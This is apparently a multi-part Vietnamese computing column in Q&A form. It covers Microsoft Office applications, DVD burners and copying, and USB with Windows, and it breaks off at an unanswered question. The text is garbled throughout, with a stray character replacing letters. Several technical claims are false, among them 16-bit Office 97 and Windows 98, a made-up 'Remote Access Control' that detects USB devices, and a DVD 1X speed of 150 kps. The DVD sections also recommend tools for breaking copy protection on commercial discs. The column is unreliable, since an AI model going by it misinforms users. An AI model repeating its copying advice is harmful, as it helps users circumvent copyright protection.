ả hư quý vị độc giả cũng biết một trong những nhu liệu quan trọng nhất trong một máy điện toán đó là nhu liệu điều hành (thỉnh thoảng còn được gọi là nhu liệu chủ) Windows, hiện

nay nhu liệu điều hành Windows XP đã trở thành căn bản cho tất cả những máy điện toán mới. Sau nhu liệu điều hành kế đến là những loại nhu liệu làm việc trong Windows danh từ chuyên môn gọi là application software. ả hững nhu liệu làm việc (application software) hoạt động hoàn toàn độc lập và trong một nhu liệu điều hành. Rõ ràng hơn một chút các nhu liệu application đều cài vào trong máy sau khi đã cài xong nhu liệu điều hành Windows hoặc bất cứ một nhu liệu điều hành nào khác như Macintosh, Lynix, SunMicro v.v...Một trong những loại nhu liệu làm việc không thể thiếu trong PC như:

- Microsoft office
- Adobe reader
- WinzIP v.v...

Đại đa số những nhu liệu này trực tiếp trong các vấn đề giao dịch bằng email cho sự sinh hoạt hằng ngày. ả ếu thiếu các nhu liệu này đưa đến tình trạng không mở ra được các hồ sơ trao đổi. Chính vì vậy việc tìm hiểu các nhu liệu căn bản đặc biệt trong nhu liệu điều hành Windows là điều cần thiết.

Microsoft office: Microsoft office là một trong những loại nhu liệu rất thông dụng trong Windows vì tích cách sử dụng đa dạng và rất thích ứng trong Windows (cả Windows và nhu liệu office đều phát xuất từ công ty Microsoft). Tên Microsoft office là tên tổng hợp trong đó bao gồm các nhu liệu sau:

- Word
- Power Point
- Excel
- Access
- Outlook
- Visial
- Và Front Page

ả ên khi nói đến Microsoft office là nói đến tất cả các nhu liệu theo danh sách thống kê ở trên. Mỗi nhu liệu trong office đều hoạt động độc lập với các chức năng và mục tiêu khác nhau tùy thuộc vào sự hiểu biết và kiến thức điện toán của người sử dụng. Trong microsoft office cho người sử dụng điện toán có thể chọn lựa hoặc cài toàn bộ office hoặc có thể loại bỏ những nhu liệu không thích nghi với người sử dụng. Ví dụ như có thể chọn cài word, excel, outlook và power point. Còn access, front page thì không chọn vì người sử dụng cảm thấy không cần thiết.

- Microsoft Word: Đây là nhu liệu dùng đọc và đánh máy trên một trang giấy. Đánh máy chỉ là một phần nhỏ chức năng, quan trọng hơn thế nữa là sử dụng microsoft để trang trí bài văn thêm phần xúc tích về hình thức trình bày ví dụ như: Thêm hình ảnh phụ chú, thay đổi kiểu chữ, kích thước kiểu chữ, thay đổi kích thước của trang giấy, tự động phối kiểm tự điển danh từ trong tự điển (spelling), câu văn, pháp cú, văn phạm (grammar) cho đúng qui định v.v...Microsoft word có rất nhiều chức năng đánh máy, hình ảnh phụ chú và trang trí. Đặc biệt hơn nữa về ngôn ngữ sử dụng đã được Microsoft Word mã hóa và người sử dụng có thể đánh máy ngôn ngữ gốc của mình như người Việt đánh máy tiếng Việt. Và Microsoft Word đã trở thành nhu liệu làm việc không thể thiếu trong bất cứ một máy hiện hữu điện toán.

- Microsoft Excel: Đây là nhu liệu chuyên biệt về thống kê, kế toán (statistic and account), trong thống kê có chuyển những con số thành các biểu đồ thống kê hỗn hợ khác nhau và những qui trình biểu đồ hỗn hợp phức tạp. ả hững hãng kế toán lớn đều có nhu liệu kế toán riêng nhưng khi chuyển sang thống kê bằng biểu đồ đều dùng microsoft excel để trình bày biểu đồ. ả goài thống kê kế toán, biểu đồ ra, excel cũng được sử dụng như một data base nho nhỏ và đơn giản nếu so sánh với Microsoft access tuy không chuyên nghiệp bằng nhưng nhìn ở góc độ đơn giản và tương đối dễ sử dụng hơn Microsoft access. Tuy nhiên nếu đi sâu để sử dụng hết chức năng của Microsoft Excel không phải đơn giản vì trong excel cho phép người viết lập trình dựa trên cấu trúc accounting code để có thể tạo ra các chức năng khác

trong công việc tính toán và kiểm soát chi phí kế toán mà danh từ chuyên môn còn gọi là Macro programmer.

- Microsoft Power Point: Đây là nhu liệu để tạo một hình ảnh giống như là một ‘’slide show’’, những kỹ thuật ngày xưa thường được sử dụng đó là trình chiếu dương ảnh, và power point là một trong những công cụ để làm công việc trình chiếu dương ảnh này. Danh từ chuyên môn để gọi sự trình chiếu này trong Power point đó là Presentation. ả goài việc dùng power point để tạo một dương ảnh cho presentation, power point còn dùng vẽ những hình ảnh đơn giản hình vuông, tròn, chữ nhật v.v...tuy nhiên đây không phải là loại nhu liệu để vẽ hình kỹ thuật hoặc có kích thước cân xứng (scale).

- Microsoft Access: ả hiệm vụ chính của loại nhu liệu này là tạo ra những thông tin về database. Database là một loại thống kê từng phần về thông tin của từng cá nhân, từng hồ sơ v.v...sự thống kê từng phần này được sắp xếp rất ngăn nắp, hợp lý. Ví dụ như đánh tên và họ của một người nào đó trên màn hình, sau đó sẽ hiện lên các trương mục địa chỉ nhà ở, số điện thoại tại nhà, sở, điện thoại cầm tay v.v...bất cứ trong một lãnh vực thương mại, lãnh vực thị chính, văn phòng v.v...đều cần phải sử dụng nhu liệu để tạo database và Microsoft access là một trong những loại tạo database tương đối đơn giản và dễ sử dụng nhất nếu so với các nhu liệu khác như SQL database chẳng hạn.

Mong quý vị độc giả điện toán đón đọc bài viết điện toán kỳ tới cũng trong đề tái các khái niệm tổng quát về Microsoft Office. Sau đó sẽ phân ra có bao nhiêu loại Microsoft đang hiện hữu trên thị trường điện toán và sự tương quan giữa Office với sự vận hành của Windows như thế nào.

Phần 2:

Bài viết trong tuần vừa qua quý vị độc giả đã có khái niệm những công việc của các nhu liệu trong Microsoft office như Word, Excel, Power Point, và Access. Tiếp theo sẽ tìm hiểu thêm về Outlook, Visio, Frontpage và những software phụ trong Windows XP.

Outlook hoặc outlook eXPress: Một trong những nhu liệu rất thông dụng đặc trách điều hành hệ thống email đó là nhu liệu Outlook hoặc outlook eXPress. Outlook eXPress là một phần trong nhu liệu điều hành của Windows có nghĩa là khi cài đặt xong Windows vào start -> program sẽ thấy một icon outlook eXPress trong khi đó outlook là một phần nhu liệu trong Microsoft office. Khi cài đặt Microsoft office thì sẽ thấy một shortcut outlook icon hiện lên trên khung của desktop. Cả hai loại outlook và outlook eXPress đều có các chức năng giống nhau nên chỉ sử dụng một nhu liệu mà thôi. Sử dụng outlook trong công việc điều hành email có rất nhiều điểm tiện lợi:

- Các emails đều được lưu trữ trong máy điện toán tại tư gia thay vì lưu trữ trong mail server của công ty làm hợp đồng internet. Có thể đọc các email cũ trong outlook không cần phải vào internet (không có giới hạn lưu trữ bao nhiêu email hoặc bao nhiêu gigabytes). Trong khi đó tại mail server luôn luôn có giới hạn thông thường cho phép tổng số email lên tới 2 Gigabytes cho mỗi trương mục email và phải vào internet, vào mail server mới đọc được email.

- Outlook có nhiều chức năng về an ninh (security) và bảo vệ phòng chống các virus dựa trên hệ thống antivirus, anti spam v.v...như ả orton, Spyware Sweeper.

- Outlook có thể kiểm soát các địa chỉ email qua một chức năng email incoming block list. ả goài ra trình bày nội dung email rất gọn gàng và mỹ thuật nếu hiểu hết các chức năng của outlook một cách đúng mức.

Tuy nhiên muốn outlook làm việc hoàn toàn độc lập và tự động phải dựa trên các công ty hợp đồng internet cho phép hay không. Đại đa số các công ty này đều cho địa chỉ của mail server và outlook sẽ tự động nối với mail server này chuyển và lưu trữ các email trong máy điện toán tại gia. ả goại trừ công ty internet AOL không làm việc được với Outlook hoặc outlook eXPress vì không có địa chỉ mail server hoặc các loại email miễn phí như Yahoo, Hotmail, và Gmail cũng không sử dụng outlook hoặc outlook eXPress được.

Microsoft Visio: Microsoft visio là một trong những nhu liệu vẽ kỹ thuật đơn giản nhất nếu so với những nhu liệu vẽ tinh vi khác. Tuy nhiên những nhu liệu khác đều đi sâu vào chuyên môn, còn trong Visio có thể vẽ những nét đại cương, biểu hình đồ đơn giản với tỷ lệ kích thước họa đồ cũng tương xứng với kích thước thực tế. ẩ goài ra Microsoft Visio có một số hình ảnh tiêu chuẩn vẽ kiến trúc trong kho hình ảnh lưu trữ nên có thể dùng Visio để vẽ những nét đại cương văn phòng rất là nhanh thay vì dùng Autocad để vẽ (autocad là nhu liệu để vẽ kiến trúc). Office 1997, 2000 và XP không có Microsoft Visio, phải mua sắm riêng. ẩ hưng office 2003 trong đó có một phần nhu liệu Microsoft Visio 2003. Dĩ nhiên phải phân biệt rõ ràng sự khác biệt giữa power point dành chiếu dương ảnh (slide show) và Visio dành cho vẽ kỹ thuật đơn giản với những kích thước tương xứng với kích thước thực tế.

Frontpage: Có rất nhiều nhu liệu để tạo một trang web và Microsoft Frontpage là một trong những nhu liệu đơn giản để tạo một trang web. Tuy nhiên nhu liệu này tương đối không thông dụng vì cấu trúc (web structure) tương đối đơn giản, nên các chuyên gia về web đều chọn nhu liệu khác tinh vi và phức tạp hơn.

Hỏi: *Microsoft office có nhiều phần nhu liệu nhưng có thể cài đặt một vài phần được không ?*

Đáp: Dĩ nhiên là được, Microsoft office là tên tổng hợp trong đó bao gồm tất cả các nhu liệu khác biệt với các chức năng khác biệt. Theo thời gian ra đời từ office 97, 2000, XP và 2003 đều cho phép người sử dụng có thể cài đặt hoàn toàn hoặc chỉ một phần nhu liệu hay sử dụng mà thôi. Trong tiến trình cài đặt (install) nhu liệu offcie, nếu chọn customize, bước kế sẽ hiện lên danh sách nhu liệu không muốn cài đặt vào trong máy, chỉ cần lấy chữ x trong ô vuông (check mark) tự động nhu liệu đó sẽ không cài vào trong máy. Thông thường các nhu liệu Microsoft Outlook, Frontpage và Access ít được chọn vì khi sử dụng đòi hỏi cần phải có các kiến thức căn bản chuyên môn nhiều hơn. Còn phương pháp đơn giản nhất là cài toàn bộ các nhu liệu office vào trong ổ hard drive nếu điều kiện ổ hard drive có nhiều chỗ chứa. ẩ goài ra nếu trong máy có Microsoft office cũ nên vào Control Panel - Add/Remove program để lấy ra trước khi cài đặt office mới. Dĩ nhiên lấy program office cũ ra hoàn toàn không ảnh hưởng tới những nhu liệu các hồ sơ cá nhân. Có một vài điểm đặc biệt cần phải lưu ý nhiều khi các bài vở nếu lưu trữ trong office mới, nếu dùng office cũ sẽ không mở được nên bắt buộc phải cài đặt office mới tương xứng để mở các bài vở download hoặc nhận từ email. Ví dụ Microsoft word 97 sẽ không mở được các bài vở trong microsoft word XP hoặc 2003. Window 98 hầu như không còn thực dụng hiện nay, trong máy điện toán ít nhất phải cài Windows 2000 và office 2000 mới làm việc và trao đổi trong email có hiệu quả.

Mong quý vị độc giả điện toán đón đọc bài viết điện toán kỳ tới sẽ tìm hiểu sự tương quan tiếng Việt trong các nhu liệu Microsoft office và trong Windows XP có những nhu liệu nào thường hay sử dụng để tạo các shortcut trên khung desktop.

Phần cuối:

Trong hai bài viết vừa qua, quý vị độc giả đã có những nét khái niệm tổng quát microsoft office là gì, trong đó với những chức năng của từng nhu liệu một. Tuy nhiên qua phần kỹ thuật hỏi và đáp quý vị sẽ hiểu tường tận hơn sự khác biệt theo thời gian của các office như thế nào

Hỏi: *Microsoft office và Microsoft Windows có sự liên hệ gì với nhau và microsoft office là một phần của Microsoft Windows phải không ?*

Đáp: Office và Windows chỉ giống nhau một điểm là cả hai cũng đều phát xuất từ một đại công ty chuyên viết về lãnh vực nhu liệu software Microsoft. Tuy nhiên phải phân biệt hai mỗi nhu liệu đều có chức năng làm việc khác nhau như Microsoft Windows là nhu liệu điều hành và Microsoft Office là nhu liệu chức năng (application).

Cả hai đều làm việc riêng biệt, tuy nhiên nhu liệu điều hành Windows đều bắt buộc phải có cho máy điện toán tại tư gia và nhu liệu chức năng ví dụ như microsoft office có thể cài đặt vào trong máy hoặc không có cũng có thể dùng những nhu liệu chắc năng khác ví dụ

như công ty Lotus là một trong những công ty viết những chương trình giống như công ty microsoft office cũng bao gồm word, excel, access v.v...và package nhu liệu đó với tên gọi là LotusPackage software. ẩ hưng vì tính cách cạnh tranh và liên quan đến tâm lý của người sử dụng Windows và office phát xuất từ một công ty nên cấu trúc làm việc sẽ đa diện và hiệu năng hơn nên Lotus chỉ hiện hữu trong một thời gian ngắn (1986-1990) và nhu liệu microsoft office đã hoàn toàn ngự trị trong mỗi máy điện toán tại tư gia. Quay lại nhu liệu Windows và office hoàn toàn biệt lập trên thị trường điện toán nên phải mua sắm riêng biệt. Khi mua sắm một máy điện toán mới ngoài Windows XP SP2 (service package 2) đã trở thành nhu liệu điều hành tiêu chuẩn hiện nay cho một máy điện toán, nhu liệu package office 2003 tùy thuộc vào hợp đồng mua máy có khi là một phần hợp đồng, có khi chỉ cho phép sử dụng trong một thời gian ngắn (dùng thử-trial version) thông thường là 30 ngày hợp đồng sẽ hết hạn và phải cài lại hoàn toàn (full licence) micrsoft office 2003 vào trong máy. Dĩ nhiên khi mua sắm máy điện toán mới, cũng một loại máy điện toán nhưng giá thành khác nhau, sự khác nhau này chính là hợp đồng full licence hoặc trial version của office 03, nên người mua sắm phải biết cặn kẽ Microsoft office thuộc loại gì.

Hỏi: *Micrsoft office có bao nhiêu loại căn bản và nên hay không nên update micrsoft office thường xuyên ?*

Đáp: Đây là một câu hỏi khá thú vị vì liên quan tới tâm lý của người sử dụng nhiều hơn. Theo thời gian tiến triển không ngừng, công ty Microsoft đã tung ra trong thị trường office 95, 97, 2000, XP và 03. Từ version năm 95, 97 chuyển sang version 2000 có rất nhiều khác biệt vì Windows 98 còn viết dựa trên hệ 16 (binary code) nên nhu liệu office 95 và 97 cũng viết trên tiêu chuẩn bản mã (code) 16.

Đi sâu chi tiết một chút về bản mã 16, trong lãnh vực chuyên môn hiểu rằng đó là cấu trúc của binary 16 (hệ số lập trình), liên quan trực tiếp tới cấu trúc của các bộ phận linh kiện hardware như motherboard, memory v.v...cũng đều thiết kế bản mã 16 đưa tới tốc độ phân tích lập trình rất chậm. Lúc đó cấu trúc motherboard còn trong hệ 286, 386, và 486. Sau đó bản mã 32 được tung lên thị trường, cấu trúc hardware cũng thay đổi theo cho phù hợp và được ứng dụng trong một thời gian dài. Trong thời gian này cấu trúc motherboard được cải thiện không ngừng từ Pentium 1,2,3 và 4 tốc độ CPU cũng đạt trên 3 Giga chu kỳ (3GHz). Hiện nay trên thị trường điện toán một lần nữa đã được cải thiện từ bản mã binary 32 sang 64. Sự phát minh 64 này sẽ ảnh hưởng trực tiếp đưa đến sự cải thiện về cấu trúc của hardware để đáp ứng nhu cầu bản mã binary 64 càng tinh vi và phức tạp.

Tóm lại bản mã 16, 32, và 64 rất quan trọng là khởi nguồn cho những sự cải thiện về hardware. Và một điểm quan trọng khác là những nhu liệu viết trên bản mã càng về sau thì những nhu liệu viết trên bản mã cũ không nhận được diện các nhu liệu viết trên bản mã mới. Đưa ra thí dụ đơn giản nhất dùng Microsoft word 2000 viết một bài văn, microsoft word 97 sẽ không mở được bài văn này vì thuộc dạng mã binary 16, nên muốn bài văn này đọc được thì phải lưu trữ (save as) chọn loại (type) là word 97 lúc đó dùng Microsoft word 97 mới mở được bài văn. Trong khi đó các bài văn lưu trữ trong Word 95 hoặc 97 đều dùng word 2000, XP hoặc 2003 để đọc. Thí dụ trên để chứng minh ngành nhu liệu phát triển một chiều đi lên và vì cấu trúc càng ngày càng tinh vi, phức tạp. Đòi hỏi về hardware cũng phải được cải thiện và người sử dụng cũng phải đi theo xu hướng của sự tiến bộ này đưa đến máy điện toán đến một lúc nào đó cũng cần phải thay đổi hoàn toàn mới cho phù hợp.

Một điểm khác cũng cần phải quan tâm đó là office 95, 97 viết trên bản mã 16 cần phải đổi sang office 2000 viết trên dạng 32. Từ 2000 chuyển sang XP và 03 là điều không cần thiết nếu chỉ thuần túy sử dụng Word, Excel, Power Point và Access vì cấu trúc điều hành trong office không khác nhau. Chỉ đặc điểm trong package office 2003 có nhiều nhu liệu chức năng khác như Microsoft Visio 03, Project 03 v.v...liên quan trực tiếp tới sự điều hành của một công ty như giờ giấc hội họp, các công việc thiết kế. Khi cần một nhu liệu chức năng nào

chỉ cần cài đặt nhu liệu đó là đủ. ả ên tránh những thói quen cài đặt nhiều nhu liệu mà không bao giờ sử dụng các nhu liệu đó.

Mong quý vị độc giả đón đọc trong chương trình điện toán kỳ tới với hàng loạt bài cách sử dụng Microsoft Word, Power Point, Excel trong Office 2000.

DĨA DVD VÀ PHƯƠNG PHÁP SAO CHÉP CHƯƠNG TRÌNH ÂM NHẠC

Phần 1:

DVD viết tắt của danh từ Digital Video Disc. ả ói đến DVD liên quan đến hai phần rõ rệt:

- Máy DVD, máy ghi chép DVD, ổ DVD và ổ ghi chép DVD
- Các loại dĩa DVD , DVD +, DVD và DVD RW.

Các danh từ kỹ thuật để phân biệt máy và ổ. Máy dành cho những máy hoạt động độc lập và thông thường cắm vào giòng điện xoay chiều (AC) 120v/240v sử dụng được. Ổ dành cho các bộ phận gắn trong máy điện toán, ổ này cần giòng điện một chiều 12v (DC) mới hoạt động được.

Máy DVD: Máy DVD hiện nay trên thị trường điện tử chỉ có hai loại:

- DVD player loại máy DVD này chỉ có một chức năng duy nhất là phát ra hình ảnh và âm thanh từ dĩa DVD.
- DVD player và recordable, loại máy này có hai chức năng hát và thâu, tuy nhiên kỹ thuật thâu trong loại máy DVD còn đơn giản và cho phép vừa xem phim trong băng tape VHS và ghi chép trực tiếp vào trong dĩa DVD. ả goài ra sang dĩa DVD qua DVD vẫn chưa lưu hành trên thị trường và tùy thuộc vào nhiều yếu tố bản quyền sao chép v.v...

Một trong những yếu tố quan trọng cho người mua sắm các đầu máy DVD là loại đầu optic cảm ứng laser đọc được các dạng mã ghi chép nào trên mặt dĩa DVD (format) và các loại dĩa tracking. Thông thường các đầu máy DVD hiện nay đều không có trở ngại và có thể đọc được hầu hết các loại dĩa DVD+, DVD-, DVD, và Dual DVD. Tuy nhiên các các dạng mã ghi chép cần phần quan tâm xem máy này có hát được loại nhạc MP3 không, nhận diện được các loại ghi chép âm thanh trên ký hiệu High Definition (gọi tắt là HD). Dĩ nhiên dựa trên những yếu tố đọc các dạng mã âm thanh và hình ảnh này giá thành của máy DVD sẽ khác nhau.

Ổ DVD: Ổ DVD phải đi chung với máy điện toán rất đa dạng và phức tạp vì chức năng tinh vi về kỹ thuật sao chép âm thanh và hình ảnh trên mặt dĩa. Ổ DVD được chia làm hai loại giống như máy DVD:

- DVD player Loại ổ DVD player chỉ phát ra hình ảnh và âm thanh, mỗi DVD player này đều có chỉ số tốc độ đọc trên mặt dĩa, đơn vị gọi là X, mỗi X tương đương với tốc độ đọc là 150 kps. Hiện nay tốc độ đọc nhanh nhất cho ổ DVD là 16X.

- DVD Record hoặc Rewriteable danh từ chuyên môn hay còn gọi các ổ sao chép DVD này là DVD burner. DVD burner với nhiều chức năng làm việc như một CD, một CD burner, một DVD và một DVD burner. Rất đa dạng và đa diện. Một trong những ưu điểm của loại ổ DVD burner này là có thể sao chép một dĩa phim nhạc gốc DVD sang dĩa DVD khác với sự tân tiến của ngành kỹ nghệ nhu liệu trên thị trường điện toán.

Hỏi: *Giải thích rõ hơn sự làm việc của máy DVD + VHS và DVD + DVD. Sự khác biệt ra sao ?*

Đáp: ả guyên danh từ của VHS là Video Home System, và máy VCR (video cassette recording) được sử dụng rất rộng rãi để xem loại VHS tape này trong khoảng thập niên 1980, từ năm 1995 cho đến nay đã chuyển hoàn toàn sang loại DVD. Tuy nhiên để đáp ứng nhu cầu người sử dụng muốn chuyển các hình ảnh âm thanh từ VHS sang DVD, loại máy VHS và DVD recorder ra đời. Máy này có thể làm hai chức năng cùng một lúc vừa hát hình ảnh và âm thanh từ VHS và ghi chép trực tiếp xuống dĩa DVD. Và máy DVD + DVD cho phép sao chép từ DVD sang DVD nhưng sự sao chép này tùy thuộc vào nhiều yếu tố kỹ thuật bản quyền.

Đại đa số có thể cho phép sao chép từ DVD qua DVD nếu dĩa gốc DVD không có cài bản mã chống sao chép (blocking code). ả ếu những dĩa DVD này có cài những bản quyền thì phải dùng máy điện toán để giải mã, sau đó sao chép vào dĩa DVD khác trong máy điện toán. Sau khi đã sao chép thành công thì dùng dĩa DVD này có thể sao chép trong máy DVD vì đã được mã hóa Blocking Code.

Tuy máy DVD+VHS hoặc DVD+DVD có điểm thuận lợi và dễ dàng sử dụng khi sao chép nhưng nếu so với một dàn máy điện toán tinh vi vẫn còn kém xa về kỹ thuật vì một máy điện toán nếu đúng chức năng chuyên về Video, Audio, Graphic Design v.v...đều có những bộ phận nối với máy VCR, Web Cam, máy quay phim v.v...và chuyển âm thanh hình ảnh trong máy này vào trong máy điện toán, từ đó có thể điều chỉnh âm thanh, điều chỉnh hình ảnh cho chất lượng (quality display) khá hơn sau đó mới chuyển xuống dĩa DVD. ả ên tóm lại dùng máy điện toán để làm các chức năng sao chép, điều chỉnh hơn là dùng máy DVD để làm công việc này. Với sự tiến bộ không ngừng các bộ phận từ VCR, máy chụp hình, máy quay phim đều có thể liên kết làm việc qua một dàn máy điện toán nhanh và ổ hard drive có nhiều sức chứa Giga bytes thì không còn là sự trở ngại nữa.

Đón mong quý độc giả trong bài điện toán kỳ tới liên quan tới phần 2 của các ổ sao chép DVD và tìm hiểu chi tiết cấu trúc của các mặt dĩa. ả hững phần tìm hiểu này rất quan trọng để hổ trợ cho sự dẫn giải ‘’làm thế nào để chuyển nhu liệu từ VHS hoặc DVD sang dĩa DVD với chất lượng cao mà không bị trở ngại về kỹ thuật’’ cũng như sự khác biệt kỹ thuật giữa hai loại Internal (bộ phận gắn liền trong máy điện toán) và External (bộ phận gắn ngoài máy điện toán) nên chọn loại nào cho thích hợp.

Phần cuối:

Sau khi đã nắm vững các điều kiện hardware căn bản để gắn thêm một ổ DVD burner, bước kế tiếp sẽ tìm hiểu về 2 điều kiện sau đây:

- Ổ hard drive
- Và nhu liệu cho phép sao chép dĩa DVD

Ổ hard drive: Thông thường một máy điện toán hiện nay ổ hard drive (primary) ít nhất co sức chứa là 60G (gigabytes) và còn được trang bị thêm một ổ hard drive thứ 2 (secondary) cũng trêm 100G nên điều kiện ổ hard drive luôn luôn có chỗ trống ít nhất là 10G không còn là vấn đề nữa. Vì quý vị đã biết qua bài tham khảo vừa qua trong tiến trình sao chép một dĩa DVD được chia làm hai giai đoạn upload vào trong dĩa hard drive và download vào trong dĩa DVD trống (hiện nay vẫn chưa có thể sao chép DVD qua DVD như sao chép dĩa nhạc CD qua CD được), trung bình một dĩa DVD có thể chứa 4.7 Gigabyte dữ kiện, một loại dĩa khác gọi là Dual DVD có sức chứa 9.4 Gigabytes dữ kiện nên trong tiến trình upload data vào trong ổ hard drive ít nhất phải có chỗ trống trên 10G là vậy. Trong điều kiện cho phép nếu máy đã có thêm ổ hard drive thứ 2 (secondary or slave) nên tập thói quen vào tiến trình upload các dữ kiện hình ảnh và âm thanh vào ổ hard drive phụ (secondary) vì giúp tuổi thọ của ổ hardrive chính (primary) sẽ bền bỉ hơn, trong khi đó ổ hard drive phụ chỉ một công việc chứa các hình ảnh, âm thanh và các dữ kiện cá nhân không có các nhu liệu vận hành (application) nên các vấn đề phụ ít xảy ra.

Nhu liệu sao chép DVD (DVD burner softer): Đây là cốt lõi trong công việc sao chép một dĩa DVD. Khi mua sắm một ổ sao chép DVD (DVD burner) ổ DVD burner có dĩa CD nhu liệu bao gồm DVD driver và DVD softer. Thông thường các loại nhu liệu gốc trong dĩa CD này chỉ có thể làm những công việc sao chép một dĩa DVD thông thường với điều kiện dĩa DVD nhu liệu muốn sao chép tổng số dữ kiện (data) chứa trong dĩa DVD không quá 4.7G và không có cài các kỹ thuật ngăn cản mà danh từ chuyên môn này hay thường gọi là blocking code.

Chính vì những lý do này nên phải dùng những nhu liệu sao chép DVD tinh vi hơn trên thị trường điện toán như các nhu liệu DVD shrink, DVD Clone, DVD Platinum v.v...các CD này chuyên trị các vấn đề trong lãnh vực sao chép từ dĩa DVD như:

- Có thể phá những blocking code cài trong dĩa gốc DVD muốn sao chép (encrypted).

- Có thể ép (compressed) những dĩa gốc có dữ kiện nhiều hơn 4.7G xuống còn trong phạm vi của dĩa 4.7G, danh từ chuyên môn hay sử dụng là compress xuống còn bao nhiêu phần trăm để chỉ số data chỉ còn trên dưới 4.7G (DVD clone là một trong những nhu liệu rất tiện dụng trong kỹ thuật dồn nén data và file (compressed data or file).

- Có thể sao chép từ DVD sang DVD (như nhu liệu mới DVD Platinum).

Và phần còn lại sau cùng người sử dụng điện toán học phương cách sử dụng các loại software sao chép DVD này.

Hỏi: *Trong nhu liệu sao chép DVD có hai loại rất phổ biến và thông dụng đó là Nero và Roxio CD/DVD Creator, có thể dùng hai loại này được không ?*

Đáp: ả ero 7.0 và Roxio CD/DVD Creator 7.0 là những version mới nhất trong thị trường điện toán hiện nay. Tuy nhiên đặc điểm và cấu trúc của cả hai loại này rất tiện lợi và thông dụng trong lãnh vực sao chép âm nhạc, sao chép nhu liệu cá nhân, nhu liệu vận hành trên mặt dĩa CD. Cả hai loại nhu liệu này có thể ghi chép trên mặt dĩa DVD nếu máy điện toán đã chuyển các hình ảnh video và âm thanh từ các máy Cam recorder, máy quay phim v.v...sang dạng Video và sau đó dùng Roxio hoặc ả ero để chuyển các dạng video này kên trên mặt dĩa DVD. Roxio và ả ero rất hạn hẹp trong vấn đề sao chép hay tạo một dĩa DVD và không giải phá được các ký hiệu blocking code đã cài trên mặt dĩa. Trong khi đó các nhu liệu khác đều có thể là những công việc này. Tóm lại nên dùng những nhu liệu khác trong vấn đề ghi chép ký hiệu trên mặt dĩa trống DVD.

Hỏi: *Vậy thì nhu liệu nào hay nhất trên thị trường điện toán hiện nay ?.*

Đáp: ả hư đã trình bày ở trên, loại nhu liệu chuyên môn decode các chướng ngại vật đã cài vào trong dĩa DVD đó là DVD shrink rất hiệu nghiệm cho công việc này. ả ếu so với các chức năng khác như nén dữ kiện xuống chỉ còn 4.7G thì dùng DVD clone và muốn sao chép DVD qua DVD thì dùng nhu liệu DVD Platium. Dĩ nhiên cả ba nhu liệu DVD shrink, clone và platium đều có những chức năng giống nhau nhưng có những chuyên đặc biệt của nó như những thí dụ ở trên. Trung bình một nhu liệu sao chép DVD trên thị trường điện toán vào khoảng trên dưới $30 cho một bản quyền (licenced), có thể bản quyền licenced bị mất tác dụng trong trường hợp máy điện toán đó bị hư hard drive phải thay bằng hard drive mới hoặc phải tẩy đi (format) làm lại Windows mới. ả hững trường hợp trên có thể đưa đến tình trạng phải mua nhu liệu sao chép DVD lại lần nữa.

ả hư vậy là qua các bài giải đáp hướng dẫn trên quý vị độc giả điện toán nếu có ổ DVD burner và cài đúng nhu liệu sao chép DVD quý độc giả có thể làm các công việc sau:

- Tạo một dĩa phim DVD từ các máy Cam recorder, quay phim, web Cam v.v...dùng software movie clIP edit để điều chỉnh ánh sáng hoặc cắt xén cho phù hợp nội dung (ví dụ như dùng nhu liệu Pinnacle để làm Movie clIP).

- Sao chép các phim từ dĩa DVD gốc.

- Dùng dĩa DVD để chứa các hình ảnh, âm nhạc v.v...với sức chứa lên tới 4.7G thay vì dùng CD thường với sức chứa chỉ có 700Megabytes.

Trong tương lai các loại dĩa CD cũng từ từ thay thế bằng các loại dĩa DVD vì điều kiện và nhu cầu đòi hỏi sức chứa càng nhiều trên mặt dĩa.

USB, WINDOWS VÀ SỰ TƯƠNG QUAN

Qua bài viết vừa qua quý vị độc giả hiểu thêm sự quan trọng trong sự liên lạc giữa các bộ phận bên ngoài máy điện toán qua chỗ nối USB (universal serial bus). Và qua phần hỏi và đáp sẽ tường tận hơn sự tương quan của kỹ thuật USB và Windows.

Hỏi: *Đại đa số các bộ phận điện tử (devices) đều ứng dụng kỹ thuật USB và kỹ thuật này có sự khác biệt với sự phát triển không ngừng của Windows không ?*

Đáp: ả hu liệu Windows gắn liền với các cấu trúc của các mach điện tử, cũng như cấu trúc của con chIP CPU. Quay lại thời gian thịnh hành của Windows 95, 98 và ME. Các loại motherboard thuộc họ 386, 486, pentium 1, 2 và 3 đều ứng dụng cho loại Windows này.

Một trong những phần nhu liệu quan trọng liên quan đến mọi sự làm việc trong giữa Windows và các bộ phận linh kiện bên ngoài máy điện toán đó là Remote Access Control. Phần nhu liệu RAC trong Windows này có nhiệm vụ kiểm soát và phối kiểm điều kiện làm việc hiện hữu trong máy và những device mới gắn vào có bị trở ngại về sự liên lạc (communication) giữa mother board và device không. RAC phải dựa vào điều kiện cấu trúc của các linh kiện bán dẫn cả hai motherboard và device thì RAC mới làm việc có hiệu qủa qua chỗ nối USB. Trong khi đó những loại mother board vào thời xa xưa với window 98 và ME không không ứng dụng RAC cho tự động được nên đưa đến hiện tượng mỗi lần gắn một bộ phận device mới, mother board không nhận diện được và phải reboot máy điện toán sau đó Windows mới nhận dạng một bộ phận vừa gắn vào trong máy điện toán hoặc vừa nối tiếp qua communication ports, tiếp theo những bước hướng dẫn sao đó để cài nhu liệu cho đúng cách.

USB bắt đầu được sử dụng rộng rãi cho trên mother board khi cấu trúc USB đã được cải thiện từ USB 1.1 sang USB 2.1, song song đó cấu trúc mother board, các bộ phận điện tử cũng được cải thiện, hoàn toàn tự động đáp ứng và tương xứng với Windows XP liên quan trực tiếp tới tự động RAC. Và chỉ trong một thời gian vài giây khi gắn một device mới qua dây cắm USB. Windows sẽ nhận dạng và tự động cài đặt nhu liệu làm việc giữa đôi bên (danh từ chuyên môn gọi là driver), thỉnh thoảng Windows không có loại driver đó chỉ việc bỏ CD vào trong ổ CD là đủ, Windows XP sẽ tự động tìm kiếm và update những driver mới nhất cho hợp lý.

ả ói chung Windows - USB - và device driver đếu có quan hệ với nhau theo thời gian. RAC sẽ không có tác dụng tự động nếu là những loại mother board cũ chạy trên Windows 98 hoặc ME. Các Windows XP home hoặc Professional version đều sử dụng được RAC nên đưa đến công việc phát hiện những decive mới qua chỗ cắm USB dễ dàng và nhanh chóng hơn.

Hỏi: *Thông thường các loại motherboard chạy con chIP pentium 3 hoặc 4 đều có 2 chỗ cắm USB. Như vậy có thể hiểu rằng đây là loại USB 2.0 và phải cài đặt Windows XP cho hợp lý phải không ?*

